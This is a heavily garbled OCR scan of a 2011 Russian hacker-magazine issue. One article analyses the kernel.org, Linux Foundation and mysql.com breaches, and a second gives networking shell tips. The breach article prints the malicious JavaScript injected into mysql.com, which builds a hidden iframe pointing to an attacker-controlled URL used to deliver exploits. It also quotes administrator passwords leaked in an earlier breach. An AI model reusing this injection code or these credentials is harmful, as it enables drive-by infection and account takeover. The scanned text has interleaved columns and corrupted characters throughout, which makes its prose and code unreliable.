Механизм журналирования для 5oft Updates в UFS теперь активи­

на дисках.

рован по умолчанию. Это значит, что файловая система не только не

Поддержка RAIDZЗ, который хра ниттри копии структур, ответ­

теряет консистентности при сбоях, но может быть очень быстро вос­

ственных за сохранность данных, что позволяет достичь очень

становлена без обязательного за пу ска fsck. В UFS также появился

высокой надежности.

режим TRIM, который повыша ет nроизводительность при работе с

Сравнение двух снапшотов ZFS с помощью команды zfs diff.

550-накопителями и увеличивает их срок службы.

Обновленный код NFS-клиента и сервера теперь поддер-

Подсистема GEOM, на основе которой по строено все управ­

живает четвертую версию протокола. В реализацию файловой

ление накопителями , научилась распознавать жесткие диски,

системы UFS добавлен код для поддержки NFSv4 ACL в доnол­

имеющие размер сектора 4К, и правильно работать с ними.

нение к POSIX ACL. ::Х:

ХАКЕР

118

www.epidemz.net

12/ 155/ 2011


UNIXOID

Евгений Зобнин [execЬit . гul

.,.,.

-

,

Четь1ре пробоинь1 v

ПОДРОБНЫМ АНАЛИЗ ВЗЛОМА

KERNEL.ORG, LINUX.COM, LINUXFOUNDATION.ORG И MYSQL.COM .,. ,

...

,.

• Тридцать первого авгус т а весь мир облетела новость о в з ломе репаз ит ария keгnel.oгg с

исходными те к стами ядра

Linux.

неделю стало и звестно о взломе

Еще через

lin ux.com

и linuxfoundation.oгg, а в конц е сентября был взломан

mysql .com . Как

РЕПОЗИТОРИЙ KERNEL.ORG, ИЛИ КАК ВСЕ НАЧИНАЛОСЬ И нформация об атаке на keгn el.oгg поступила, что называется , из первых рук . Д вад цать девятого августа Johп « Waгthog9 >>

Hawley, ад­

министратор kегпеl.огg , включил в список рассылки useгs!akeгnel.oгg

письмо l gasteЬin . com / BKcmMd47 1 с уведомлением о взломе ключевых серверов инфраструктуры. В письме говорилось о т ро я не, н ай денном на

произошли эти

инциденты , кто несет за ни х ответственность

переанальной ма ш ине разработчика НРА IH Реtег Anvinl, сер в ерах hега , odiп1, а также, возможно, на demeteг2,

zeus1

и

zeus2.

Также в nисьме

освещались результаты nервоначального расследования. В его ходе

и каки х уязвимастей нам стоит опасаться? Обо

удалось прийти к трем основ н ым выводам:

всем этом ты прочитаешь в этой статье.

1. 2.

В злом бы л произведе н не ра н ь ш е

З.

Факт взлома вскрылся благодаря ошибке доступа сервера

12 августа.

Все действия взломщиков были записаны, код руткита най д е н .

Xnest к

файлу /dev/mem, которая в принципе не должна была возникнуть, поскольку иксы не используются н а серверах п р оекта.

-

Далее сооб щ алось, что в данный момент расследование про­ должается, идут сверки сигнатур, проводится восстановление из

бэкапа и т. д. и т . п. Таким образом, сервера kегпеl . огg оставались беззащитными п еред взломщиками более двух не д е л ь, но этого

На момент обнаруже­

Автор

ния бэкдора, распро­ страняемого с сайта mysql .com, его умели

испольэуемого на

Gitolite, теперь

серверах keгnel.oгg , считаетсвой nроект

не заметили н е только разработчики

Linux,

они работают с репозиторием через клиент который, суд я по его странице на

Google+,

что п онятно, так как

Git,

но и сам Waгthog9,

является не тол ь ко а д­

настолько надежным ,

м и нистратором ke г nel.o гg , но и его а р хи т ект ором, а также б ыв шим

четыре антивирусных

что готов выплатить

продукта :

$1000 любому, кто

системным инженером З l eaf

выявлять только

ClamAV,

Risi пg , ТгепdМiсго и TгeпdMicгo-HouseCall .

найдет в нем уязви­ мость.

Systems,

систем н ым а д министрато­

ром С2 Micгosystems, про г раммным инженером Oгion wеЬ-разработчиком

lowa

Mu ltisystems,

l nteгactive и Университета Айовы. И э то

ХАКЕР

120

www.epidemz.net

12/155/2011


Четыре пробоины

при том, что, как утверждалось, все действия взломщиков были записаны! Каких-либо подробностей

Warthog9

дальнейшего расследования инцидента были обнаружены руткит

Phalanx

и открыто лежащий среди стартовых скриптое SSН-бзкдор,

которые Waгthog9 почему-то не заметил . Интересно, что руткит

Phalanx,

на который свалили все грехи, представляет собой не что иное, как из­

вестный с

2008

года логгер SSН-ключей, который просто сидит в ядре и

собирает ключи всех пользователей. Обнаружить его можно с помощью

простой команды cd /etc/khubd.p2/ или с крипта гkhunteг, которого, по в с ей видимости, не оказалось на серверах keгnel.oгg. Подробный отчет об инциденте пока не выпущен, однако до­

гадаться, как действовали взломщики, не трудно . Скорее всего, они взломали машину одного из разработчиков , украли у него SSН - ключи от keгnel.oгg, получили доступ к одном у из с ерверов , подняли права до гооt с помощью какого-то неизвестного зксплойта , а затем устано­ вили на сервер

Phalanx,

lsite News

не сообщил , однако в х оде

который и выдал ключи от других серверов.

Там , с корее всего , ситуация повторилась. В любом случае взлом

• As ngred previщщly, kemel.org suffered а securlty breach. Because of this, we have taken the tlme to rearchttect the site tn order to tmprove our systems for developers and users of kemel.org . То thfs end, we would like all developers who prevlously had access to kernel.org who wlsh to contlnue to use lt to host thelr gtt and statlc content. to follow the l n st ш ctjons here Rlght now, www.kemet.org and gitkemel.org have Ьееn brought ьасk onllne. All developer git trees have been removed from gilkernel.org and will Ье added ьасk as the relevant developers regain access to the system. Thanks to all for your patience and understanding during our outage and please Ьеаr with us as we bring up the different kemel.org systems over the next few weeks. We wlll Ье writing up а repon on the incident in the future. • On Aug 25, 2011 Нарру 20th Birthday Linuxl For everyone who doesn·t knO'N, on this day 20 years ago, а Helslnkl Grad student named Linus declared he had а llttle hobby os to share with everyone. That origlnal e-maJI can Ье found Ьша. The rest, as they say, is history! • On June е . 2011 startlng at mldnlght UTC the Llnux Kemel Archlves wlll partlcipate ln wщ!d ! р\16 Day; we will еnаые IPvб on as many of our services as poss i Ыe on that date. At that time the l pvб. kernel . org test address (see Ьe low) will Ье removed. •

мау

12, 2011: FOI testingpurposes only, we nDYv' have an

IPvб

slte at http·tnpvб keme! om. Thls ls

а

Такая надпись тепе рь красуется на сайте kerпel.org

выявил глобальную проблему инфраструктуры kегпеl.огg . Оказалось,

заботится о своей безоnасности и безопасно сти

что е е усто йчивость к атакам фактически определяется устойчиво­

Linux Foundation

стью машины каждого разработчика .

пользователей и что в ближайшее время работа сайтов воз о бн о­

Отрадно , что исходникиядра никуда не делись и не были из­

менены. По словам СогЬеt из Linux Foundatioп [goo .gi/7MyRu ), это объясняется самим способом хранения и обработки исходников.

Git

вится в прежнем режиме.

Однако на возобновление работы также смежных сайтов

Open

Pгinting,

nотребовался почти месяц. Только

х эширует все записываемые в репазитарий файлы, так что

linux.com и Linux Магk

6 октября

linuxfoundat i on . oгg, а и

Foundation events

они стали доступны в

л ю б о е и з мен е ни е внутри репазитария незамедлительно приводит

своем прежнем виде для пользователей. Весь этот месяц на главны х

к о шибкам согласованно сти . Более того,

страницах сайтов висели заглушки с ответами на часто задаваемые

Git

не только хранит х эш

в с его репоэитория , но и имеет множество собственных к опий на

вопросы по поводу произошедшего. В частности , на вопро с о то м,

разбросанных по всему миру машинах разработчиков. Каким бы

действительно ли па роли на сайтах

образом взломщик ни попытался изменить код, хоть вручную, хоть с

крытом виде, был дан ответ, что хэш и тоже можно вскрыть.

помощью нового коммита, этот факт всплыл бы либо при проверке репозитория, либо при его синхронизации с другими копиями.

Linux Foundation

х ранятся в от­

Как же это произошло? До обнародования результатов офици­

ального расследования , если, конечно , они вообще будут оглашены ,

Инте ресно , что , с огласно одной из точек зрения по поводу того, по­

нельзя ничего сказать точно, тем более что , в отличие от админа

ч е м у взл о мщики х отя бы не попытались это сделать, они просто « не

keгnel . oгg , оnубликовавшего хотя бы ча сть предварительны х сведе­

з нал и, где на х од я тс я » . У читывая характер взлома и используемые в

ний , админи страция

е го х оде инстр у менты , с ней вполне можно согласиться.

кой информации. Однако тех скудны х данных, которыми мы с ейчас

Linu x Foundation

не предоставила вообще ника­

располагаем, вnолне достаточно, чтобы выдвинуть предпол ожение

Сраз у же после того как факт взлома вскрылся, все сервера keгnel.oгg были остановлены для проверкии полной переустановки си­

об использовании того же метода проникновения с пере х вато м

стемы . Официальный репазитарий ядра

ключей и nоднятием привилегий в си стеме с nомощью локал ь н ого

Linu x был

перенесен на хостинг

55 Н­

github.com, где, кстати , его можно найти до сих пор [https:Ugithub.com/ torvalds/linux). Пятого октября сайт и вся стоящая за ним инфраструкту­

зксплойта . Скорее всего, взломщикам удалось добраться до одно й из

ра во зобновили свою работу в nрежнем режиме, однако администрато­

SSН-ключи для достуnа к какому-либо серверу

ры учли свои ошибки и переработали общую архитектуру всего проекта .

получить к нему доступ и использовать локальный эксплойт против

Отныне keгnel.oгg служит только репозиторием для исходных тек стов, к котором у нельзя получить SSH-дocтyn. Ключи

прежнему используются для доступа к

Git,

SSH

по­

но работа с ним ведется

машин keгnel.oгg или машин его пользователей, которая содержала

ядра

Linux

Linux Foundation,

или одного из системны х компонентов дистрибутива .

После возобновления работы

linux.com

и смежны х ресурсо в на сайте

появилась новость lgoo.gi/N1DZX) о введенны х и з мен е ния х . Пр офили

поверх протокола НТТР. Все репази т арии размещены под учетной

пользователей были удалены , так что уча стникам пришлось пр оходить

записью одного системного пользователя, но разделение прав

повторную регистрацию, появился новый форум. В связи с инцидентом

доступа к отдельным веткам и репазитариям сохраняется благо­

и реорганизацией портала nроведение конкурса Guгu-2012 на

даря расширению

отложено на неопределенный срок .

Gitolite,

которое позволяет разделить доступ с

linux.com

помощью отдельной базы виртуальных пользователей и к тому же сделать управление полномочиями более гибким. Обо всем об этом

можно прочитать в следующем письме:

MYSQL.COM,

ИЛИ БЛЮДО ТРЕТЬЕ

Двадцать шестого сентября компания Aгmoгize [goo.gi/PGKRi ),

goo .gl/1 ЬгFК .

Информацию об инциденте до сих пор можно найти на главной

странице kегпеl.огg [достаточно прокрутить страницу вниз).

специализирующаяся на продуктах для wеЬ-безопасности , сообщила о взломе

mysql.com.

Разработанный компанией сервис HackAieгt,

который автоматически отслеживает вредоносное ПО на посещаемых пользователями сайтах, зафиксировал заразу на сайте

MySQL. Сотруд­

ники компании незамедлительно подготовили отчет об инциденте .

Оказало с ь, что в один из JS-скриптов , загружаемых с сайта , был

Сnустя десять дней после обнародования информации о взломе kегпеl.огg стало известно о компрометации liпux.com и

внедрен код, который формировал незаметный для пользовате-

linuxfoundation.oгg . Восьмого сентября пользователи обоих сайтов

ля IFгame . Он, в свою очередь, осуществлял редирект на страницу

получили уведомление о том, что обнаружено вторжение со сторо­

tгuгuhfhqnviaosdpгuejeslsuy . cx.cc/main.php . которая содержала

ны неиэвеоных лиц . В письме, не содержавшем никаких подроб­

макроэксплойт

ностей , лишь кратко упоминалось о том , что этот инцидент, скорее

зовал дыры в веб-брауэерах и плагинах

всего , связан с взломом keгnel.oгg. Пользователям предлагалось

для загрузки на машину жертвы троя на

сменить все свои парали и SSН-ключи, если они используются для

тывал FТР-пароли пользователя для своего дальнейшего распростра­

доступа к другим сайтам. Далее следовали заверения в том, что

нения на другие машины [внедрение в РНР-, HTML- и JS-файлы).

ХАКЕР

BlackHole exploit pack.

После запуска эксплойт исполь­

Adobe Flash, Adobe PDF и Java MW:JS:159, который перехва­

121

12/155/2 011

www.epidemz.net


UNIXOID

t\., mysql <oщ/<o mtnon/jS/s_ С

lf

О

mysql.,om ·.-:ornmoojs. s_.:(·d-:::_г-:rrt<:'l t~Js?··. ~t-=.20001(•11

!• SiteCatalyst codl! Vl!rsion: http://vvv . omniture.com •1 / • Author: Neil

Evo.nз

Н.14.

CopyriQht Otuniture, Inc .

Иоrе

into

СОВЕТЫ ПО БЕЗОПАСНОСТИ ОТ

.C:Z availo.Ьle

at

"/

KERNEL-XAKEPOB После атаки на keгnel.oгg Gгeg Kгoah-Haгtman включил в сnисок рассылки nользователей keгnel . oгg nисьмо с инструкции по

проверкекомпьютеров на вредоносное ПО . Хо тя это nисьмо больше ориентировано на nоиск оnределенного руткита, оно также содержит

массу nолезнейших советов и затрагиваеттакие вопросы, как исnользование nрограмм тиnа chkгootkit для поиска руткита в,

сверка сигнатур установленных nа кетов для разных дистрибутивов , сверка подписей всех уста новленных па кетов, ручной поиск зловредного ПО , чтение логов. Это прост о обязательная для

ознакомления информация:

·

goo .gi/VYyCI.

Поскольку код находился на сайте более суток, можно предпо­

ложить, что жертвами троя на стали тысячи посетителей. Админи­

страция сайта отреагировала быстро и удалила код уже через шесть

часов после обнаружения [в

22 часа по московскому времени). Одна­

ко никаки х сведений об инциденте и о способе получения доступа к серверам

mysql.com

компания Огасlе так и не огласила, сославшись

на то, что расследование еще не завершено.

Тем не менее можно выдвинуть две версии о том , как зловред­

ный код мог попасть на сайт

mysql.com.

Первая и самая популярная

опирается на новость, опубликованную компанией Tгend Мiсго nри­ мерно за неделю до обнаружения кода. Двадцать шестого сентября в благе компании появилась заметка о возможном взломе

mysql.com,

ссылающаяся на сообщение человека, который известен на одном

var s account• "sunmysqldev"; vo.r sUn_ dynsmicJ.ccountSe lection• trul!:;

из российских андеграундных форумов под ником souгcecOde. Он

предлагал любому желающему купить за трем серверам, обслуживающим сайт JS-код, внедренный в один из скриnтон

mysql.com

3000 долларов гооt-доступ к MySQL. Возможно, именно так

злоумышленники и получили доступ к сайту, чтобы загрузить вредо­

носный JS-код на сервер. 1t

( doc~nt .gl!tElel'IМ!:ntsByTagName

iframer О } else {

( 'body' )

[ О ))

{

Однако эту версию трудно воспринимать всерьез . <<Лот», пред­

;

ложенный на продажу пользователем souгcecOde, слишком похож

doct.ll'tlent . чritl! ( "<ifr&t~e

src•' http : / /.to.los:tax .

~n/1nfo/

in . CQl ?5'

width"'' 10' heiqh

t•' 10' :!!!tyll!"'' v1siЬility : bidden ; poзition : Msol\lte ; left : O; top:O; '><1 i:trame> " );

на фей к. В подтверждение своих слов он смог привести только три невраэумительных скриншота , иллюстрирующих выполнение ко ­

:function itramer () { ve.r t • docurc-.ent .createElement ( ' ifreune•) ; t. setAttribut.e (' src' , 'http: 1 /fa.loз:tax , in/in:to/in.щ,Ji ?S' ) ; f. style . visiblllty • 'hidden' ; :t. styll! .po:~it.ion • 'aЬ:!olut.e' ; f. :5tyle . left • '0' ; f. :5tyle . 1:op - '0' ; :f . ~et.Attrl.Ьut.e ( ' Vldt.h' , 'lO' ) ; f . set.Att.rtbut.e ( ' height.' , ' 10' ) ; docwnent. .get.Eleme:nt.sByТagN~ ( 'body' ) { О ] . appi!:ndChild (f);

манд

uname

-а и

whoami в среде Fedoгa Саге 11 с установ ленным http1 .web.mysql.com . Очень странно, что

доменным именем вида

автор не привел более веского доказательства владения правами гооt, по скольку такую информацию можно совершенно законно по­

лучить с помощью

nmap

и

dig.

Еще более странным кажется то, что

люди, якобы купившие гооt-доступ , использовали его настолько небрежно. Обычно так делают в случаях , когда получить права

JS-код, внедренный в один из скриnтон

выше

mysql.com (в развернутом виде!

www

невозможно и остается только дефейсить или вставлять

в код эксплойт. Atteпt

ion Linux . com and

Более реалистичное объяснение произошедшего намного проще.

LinuxFoundatioп, огg useгs ,

Сайт

mysql.com

уже взламывали в марте этого года. Тогда взломщи­

you because you have ап account оп Linux.com , LinuxFoundatian.oг g , or one of the subdorмins associated with these domaiпs. Оп Septembeг 8 , 2811, we discovered а security Ьгеасh that may have compгomised уоuг userпame, password, email address and other information you have giveп to us. l-le believe this breach was connected to the intrusion оп lcerne 1 . огg .

лей и администраторов. Хэ ши паралей многих из них были быстро

Rs wi th any intгusioп and as а matter of caution , you should consider the passwoгds and SSH lceys that you have used оп these sites compromised. If you have reused these passtaiOrds оп other sites, please change them immediately. J.Je аге currently auditiпg all systems and will update puЬlic statements when we have тоге iпfoгmat iоп .

sysadm :qa. и admin:6661 [кстати, такие лаги н и параль использовал

1-Je

аге ыriting

1../е

have talcen all Linux Foundation seгv ers offline to do complete гe-iпstalls. Linux Foundation services will Ье put baclc up as they become availaЬle. 1-/е аге taiOrlcing arouпd the clock to expedite this pгocess and are I&IOГic i ng with authoгities iп the United States and in Еuгоре to assist with the tnvestigation . The Linux Foundation takes the secuгity of its inf rastructuгe and that of .!,ts memЬeгs extгemely seriously and аге puгsuing al l avenues to investigate Коnия nисьма, которое nолучили nользователи

linux.com в день обнаружения взлома

кам удалось выполнить SQL-инъекцию и утащить базы пользовате­ вскрыты и обнародованы . С учетом того, что у администрации сайта

довольно специфическое представление о безопасности, о котором можно судить по таким парам лагинов и па ролей, как sys:phoгum5,

директор по управлению проектамиl), можно всерьез предположить, что после первого взлома некоторые администраторы либо продол­ жили пользоваться своими старыми паролями, либо поменяли их на

аналогичные комбинации символов, в результате подбора которых злоумышленникам удалось получить доступ к интерфейсу админи­ стрирования wеЬ-сайта . Как бы там ни было, господам из

mysql.com

стоит задуматься о

пересмотре своего подхода к обеспечению безопасности ресурса­ слишком уж часто он подвергается атакам.

ХАКЕР

122

www.epidemz.net

12 / 155/2011


Четыре пробоины

_ <-·-·" ........._,,_ ............

ннадцатого октября стало известно о взломе сайта еще одного

....,....

-··~•.I .. М.:о!И

no.oooo ••-•· JJtJ'

известного opensource-пpoeктa. На этот раз жертвой стал сайт проек­

мolltlllwUsel'll' 11.8 .!16,\lб l t

:189,1118

та

Wine, а точнее размещенная на нем база совместимых nриложений appdb.winehq .org. Эти nодробности сообщил Jeгemy White, один из

per~ey •

............. ~·· j

- to•·•-) +

администраторов проекта .

К счастью, на этот раз взломщики nолучили ДОСТУП только к

базе данных пользователей . Сама база данны х не пострадала, до­ ступ к другим частям проекта, по словам

Jeremy White,

также был

вряд ли получен. Скорее всего, хакеры получили ДОСТУП лишь к

wеЬ-интерфейсу управления базой данных

phpMyAdmin

с помощью

не известной уязвимости или ук раденного у одного из администра­

торов пароля . В ответ админы сайта закрыли ДОСТУП к

phpMyAdmin

из внешней сети и сбросили парали все х nользователей . Тем , кто исnользует одинаковые парали на нескольки х сайтах, рекомендовано с рочно сменить и х.

Остается только догадываться, зачем было выставлять

phpMyAdmin

во всеобщий достуn, ра с полагая множеством инструмен­

тов для безопасного удаленного ДОСТУПа к интерфейсу управления

базой данны х, от SSН-ТУннеля до Сообщение о nродаже root-дocтyna к

OpenVPN.

Днем позже администраторы инфраструКТУРЫ проекта

mysql.com

Fedora

объявили о необ ходимости с менить парали и SSН-ключи всех поль­

зователей, объясняя зто тем, что подозревают о наличии проблем в

An1iVirus

Versior1

Last Update

AhnLab-V3

2611.69.26.66

2011.69.26

AntiVir

7.11.15. 34

2611.69 . 26

Antiy-AVL

2.6.3.7

2611.е9.26

Avast

4. 8.1351. е

2е11.

Avast5

6.е.1289.6

2е11.69.26

AVG

10 .е.6. 119е

2611.е9.26

Bitoefender

7.2

2е11.

вуtенеrо

1.е.е.1

2е11.69.23

безопасности, а также опасаются повторения инцидентов с сайтами

Result

kernel .oгg,

linuxfoundation .org

и

linux.com.

Пользователи должны изменить парали до

30

ноября, иначе

их аккаунты будут удалены. Новые парали необходимо выбирать с учетом более строгих правил : параль должен состоять из девяти сим­ волов в разны х регистрах, включая цифры и знаки препинания, или

69.26

из десяти букв и цифр в разных регистрах, или из одном регистре , или из

20

12

букв и цифр в

букв в нижнем регистре. Такие требования

должны полностью исключить возможность nодбора паралей да же после кражи их хэшей.

69.26

ВСЕ НОВОЕ- ЭТО ХОРОШО ЗАБЫТОЕ СТАРОЕ Этот год надолго запомнится всем нам чередой взломов откры­

САТ- Quickнeal

11. ее

2е11.69.26

ClamAV

е.97.е.е

2611.69.26

commtouch

5.3.2.6

2611.69.26

comodo

1е24В

2611 . 69 .26

orweь

5 . 6.2.633ее

2е11.

Emsiso f t

5.1.6.11

2611.69.26

esafe

7.6.17.6

2611.69.26

eтrust-vet

36.1 . 8581

2611.69.26

работу, изменила украденные парали и ввела проверку длины

F-Prot

4.6.2 . 117

2611.09.26

и надежно сти для новы х па ролей. Ни один репазитарий изменен

F-Secure

9.6.1644е.е

2611.е9.26

Fortinet

4.3.37е . е

2611.е9.25

69.26

ты х проектов. Но так ли в се это ново ? В действительности сайты

PUA . Packed .ASPack

открытых проектов взламывали всегда. но , пока дело не дошло

до keгnel.oгg, никто не хотел этого замечать. В декабре прошло-

го года был взломан репазитарий свободного ПО проекта

GNU :

savannah.gn u .o г g . С помощью SQ L -инъекции взломщикам уда­ лось завладеть базой пользователей и хз шами паролей, а затем вскрыть некоторые из них брутфорсом. Кроме этого, хакеры зачем­ то сделали сайту дефейс и установили РНР-б экдор . Сайт лежал

48

часов , по сле чего администрация вос стано вила его нормальную

не был.

В апреле

Foundation,

2010

наnадению подвер гся сайт

Apache

Softwaгe

в результате чего снова утекла база данных пол ьзо в ате­

лей , но не самого сервиса, а только системы отслежи в ания ошибок .

GData

22

2611.е9.26

Ikarus

Т3 . 1 . 1 . 1е7.6

2611.09.26

Jiangmin

13 . 6 . 9ее

2611.09.25

K7Antivirus

9 . 113 . 5184

2е11.е9.23

щью Оdау-зксплойта, добыли SSН-ключи от аккаунта backup-cepвepa

кaspersky

9.6.6 .837

2е11.е9.26

people .a pache.oгg и установили бэкдор.

Через три дня нормальная работа сайта была восстановлена. Это была вторая крупная атака на apache.oгg после сентября

2009

года.

когда х акеры взломали apachecon . oгg, повысили при в илегии с помо­

мсАfее

5.4ее . е.1158

2е11.

HCAfee-GW-Edition

2010.10

2611.69 . 25

Все эти соб ытия произошли из-за халатного отношения людей, за­

Microsoft

1. 77е2

2е11.69.26

нимающих ответственные и высокооплачиваемые должности, к своей

MOD32

6494

2е11.

мorman

6.67.11

2611.69.26

SSН-ключи и па роли, когда стало известно о взломе kernel.oгg, а уж

nProtect

2611-е9-26.62

2611.69.26

дей ст вия сотрудников

69 . 26

69.26

ПОСЛЕДНЕЕСЛОВО

работе. Администраторы kernel.oгg вообще не следят за своими серве­ рами , сотрудники

Linu x Foundation mysql.com

почему-то не догадались изменить

не хочется даже комментировать . Как

и следовало ожи дать, люди- самое уязвимое з вено при обеспечении Результаты nоиска вредоносного ПО в файле, nолученн о м с

ХАКЕР

mysql.com

безопасности. :х:

123

12 /155/20 11

www.epidemz.net


SYN/ACK

Максим

«hatchet» nолевой lmaks.hatchetfiJyandex.rul

СЕТЕВЫЕ ТРЮКИ, О КОТОРЫХ ТЫ ТОЧНО НЕ ЗНАЛ

В этой статье мы рассмотрим эле гантны е решения таких вопросов,

UNIХ-системы имеют множество средств для

D

работы с сетью и ее настройки. Большинство из них уже давно описано на многочисленных

интернет-ресурсах, в учебниках и справочни­

как проброс аудио по сети, п ереключение между различными сетями и провайдерами на лету, организация беспроводной сети с использо­ вание технологий

Bluetooth,

автоматический запуск торрент-клиента

во время простоя, и даже поднимем самый настоящий сетевой

RАID-массив. Мы увидим, что для всего этого достаточно пр остых и понятных утилит, демонов и пары скриптов.

АВТОМАТИ Ч ЕСКОЕ ПЕРЕКЛЮЧЕНИЕ МЕЖДУ СЕТЯМИ

Наверн ое, все владельцы ноутбуков хоть раз в жизни сталкивались с про блемой подключения к разным сетям. Дома ты можешь пол учать

доступ к сети через РРТР/ РРР о Е -соединение, там, где ты работаешь/ учи шь ся, подключение приходится настраивать вручную, где-то еще

ках. Однако среди всей этой массы привычных

требуется использовать DНСР- сервер. Все это создает множество

обыденных инструментов порой можно найти по­

тическом режиме только nри наличии в сети DНСР-сервера, иначе

разительно красивые и эффективные решения .

проблем, так как даже netwoгk-manageг хорошо работает в автома­ nриходится лезть в настройки и nроnисывать адреса самостоятел ьно .

Они помогут тебе справиться с задачами, кото­

Да и не всем нравится испо льзоват ь гр афи ч еский интерфейс.

рые раньше казались трудновыполнимы ми.

quickswitch,

Мы пойдем другим nутем. Восnользуемся nростой ути л итой которая позволяет переключаться между различными сетя-

ХАКЕР

www.epidemz.net

12/155/2011


Сетевая акробатика

1!]!/bin/bash

[!]! /biп/sh #

ПроВоgные сетu

NETS="home #

(uмена uэ /etc/quickswitch/switchto . coпf)

I-INETS="home

(ux SSIDJ

woгk "

ПроВерка раБотоспосоБностu сетu с помощью

#

В cny~ae успешного пuнга

if #

piпg

Ecnu

-q

·п -с

-

сеть есть

#

DNS-cepBepa . - Выхоguм

пuнга гуmоВского

J {

1 8.8 .8 .8 :

theп

# exit: fi

NETS; do switchto $пеt : sleep lB

STOPPED="yes " while tгue; do if ( ' xp г intidle -gt $IDLE J; then if ( $STOPPED = "yes" J: then $STRRTCMD STOPPED="no ' fi else if ( $STOPPED = "no" J; then $STOPCMD STOPPED="yes " ti1JIAie!ll§eiMiii!Jjl 1

dопе

-

проБуем

-s"

$NETS

trypiпg

Не пo?J~unocь

- S"

Команgа на запуск закачкu

# STOPCMD="deluge-console pause \*" # STARTCMD="deluge-console гesume \*"

iп

[W!R,!elli-. MNp D "tгycoппect . sh" <11L ,

Команgа на останоВку закачкu

STRRTCMD = " tгansm i ss i on- гemote

Выхоguм

# ПроБуем поgкnю~uться к сетям, пере~uсnенным В

#

прошестВuu которого

STOPCMD = " tгansm i ss i on - гemote

tгyplпg

•ог пеt

no

Буgет запущена закачка (В мuлuсекунgах)

IDLE=120000

# #

tгypiпg(

Время БезgеОстВuя,

# #

woгk "

БеспроВоgные сетu

DHCP

1В5<1С

Скрипт для авт о матического коннекта к разным сетям

ми с nомощью одной команды, то есть, по сути, является аналогом

ifup

и з DeЬian/Ubuntu , но имеет несколько доnолнительных вкусностей. Ути­ л ита достуnна в реnазитарии любого дистрибутива, ее исходникитакже имеются на официальной страничке:

httR:IImuthanna.com/guickswitch.

Эта nрограмма наnисана на Регl, nоэтому для ее установки достаточно

с коnировать бинарник Принциn работы

switchto из архива в каталог /usг/locai/Ьin . quickswitch основан на nереключении между

ра з ными сетевыми nрофилям и , которые заданы в конфигурационном

ф а й ле

/etc/qui ckswitch/switchto.conf в

следующем формате:

# vi /etc/quickswitch/switchto.conf [config] 11

Простой скрипт для автоматическог о запуска торрент-клиента

$ su -s # mv /etc/wpa_supplicant.conf_/etc/wpa_supplicant.conf.bak # wpa_passphrase ssid/имя-то~ки параль >> \ /etc/wpa_supplicant/wpa_supplicant.conf Для nодключения к выбранной точке достуnа исnользуются четы­

Имя интерфейса

device=ethe 11 Файл с данными о предыдущей сетевой конфигурации servicefilename=/etc/quickswitch/switchto.last 11 Профиль home- домашняя сеть [home] description=home address=192.168 .0.25 netmask=255.255 . 2SS.e gateway=192 .168 . B. 1 dns1=195.62 .99.42 dns2=195.p2 .97.177 1/ Профиль work- сеть на работе [work] description=work address=10.16 . 3.114 netmask=255.255 . 25S.e gateway=10.16 . 3. 249 dns1=195.62 . 99.42

ре команды :

$ sudo ifconfig wlane up $ sudo iwconfig wlane essid $ne:t: $ sudo wpa_supplicant -в -Dwext -i wlane \ -с /etc/wpa_supplicant.conf $ dhcpcd wlane Конечно, все это неудобно . Поэтому мы наnишем скриnт для авто ­ матизации nодключения , который будет подключаться ко всем изв ест ­ ным нам сетям до тех пор, пока система не получит доступ к интернету:

# vi /usr/local/bin/tryconnect.sh #! / bin/ sh # Проводные сети (имена из /etcl quickswitch/ switchto.conf) NETS= "home work" # Беспроводные _ сети (их SSID) WNETS= "home work" # # #

Переключени е между nрофилями осуществляется с nомощью утилиты

switchto:

Проверка пинга

работоспособности сет и

Выходим в

случае ус п ешного

tryping() { if ping -q -n

$ sudo switchto work $ sudo switchto home

#

с п омощью

rугловского D N S-cepвep a .

Выходим,

если

пинга

1 8.8.8.8; then exit; fi

видим сеть

tryping

Но такой сnособ работает только для nроводных сетей, чтобы nереключаться между бесnроводными сетями , необходимо настроить

# Пробуем подк л ючиться к сетям,_ п еречисле н ным в

wpa_supplicant.

for net in NETS; do switchto $net; sleep 10 tryping

Сделать это очень nросто- достаточно сгенериро­

вать ключи для все х известных точек до с туnа:

ХАКЕР

$NETS

125

12 / 155/2011

www.epidemz.net


SYN/ACK

ПРОСТОЙ СЕТЕВОЙ БЕНЧМАРК НА БАЗЕ

И

FTP

DD

АВТОМАТИЧЕСКОЕ ПЕРЕКЛЮЧЕНИЕ

МЕЖДУ ИНТЕРФЕЙСАМИ В OPENBSD

Чтобы измерить ско рость передачи данных между двумя хостами,

В

необя зател ьно использовать специализированный софт и сервисы

падения одного из них решается гораздо проще:

OpenBSD задача переключения между интерфейсами в случае

вроде speedtest.пet . Достаточно простого ftр-клиента:

/! ftp > _pyt "ldd if=/ de_v/ze_ro bs=1M _ count=HЩ" /dev/ null

Поднимаем n роводной ин т ерфейс ifcoпfig

#

11 Эта команда ftр-клиента сгенерирует и пер едаст на удален н ую

машину файл длиной

100 Мб и выведет на экран среднюю скорость

# ifconfig athe nwid my_wlan up

/1 #

загрузки .

eme up

Поднимаем бесnроводн ой интерфейс Создаем транковый

интерфейс

ifcoпfig

trunke trunkproto failover \ trunkport eme trunkport athe \ 192.168 . 1.1 netmask 255.255 . 255. 0

Теп ерь при отключении сетевого кабеля активируется

done # ~СЛИ не ПОЛУ'JИЛQСЬ, di:Jcpcd ethe sleep 5 :tryping

#... /;!;!lИ

nробуем

Wi-Fi.

DHCP

(lpQBOAHaя_ с_еть . не рабосает_,

nробуем

КЛОНИРОВАНИЕ РАЗДЕЛОВ ПО СЕТИ

Wi-Fi

~:iJ,J.<JH. d!кpcd _

i _fconfig wJane up # Проходим по Wi-Fi-ceтям for net in W~ETS; qo _

Старый добрый

netcat, помимо всего проч его, можно использовать

для клонирования разделов с одной машины на другую [в данном

случае с машины-2 на машину-11:

i .\1/con.fig _w],<Jл.e e~_~id $n_e t -6 -Dwext _-i wlane \ ....... _:c_./eJ;:<;{\IIpa_.sl,щpЦcaл:t_,conf s.l_eep :~.е __ .. _dhcpcd wlane . wRa_~upR],~cant _

ма~ина-1# netcpt -1 -р 9еее 1 dd of=/dev/sda машина-2# dd if=/dev/sda 1 netcat IР-машины-1 geee Пр авда, я бы не рекомендовал использовать это т способ, если ты не

~l_eep 5 tryping

уверен на

100 %, что сеть не упадет.

done Если поместить этот с крипт в рутовый cгontab, застави в его запускаться каждые

...

н у, скажем, пять минут, мы получим систему

автоматического поиска активных сетей:

$ ---sudo crontab -

-е -

[configJ device=eth0 servicefilename=/etc/quickswitch/switchto.last [home] description=home

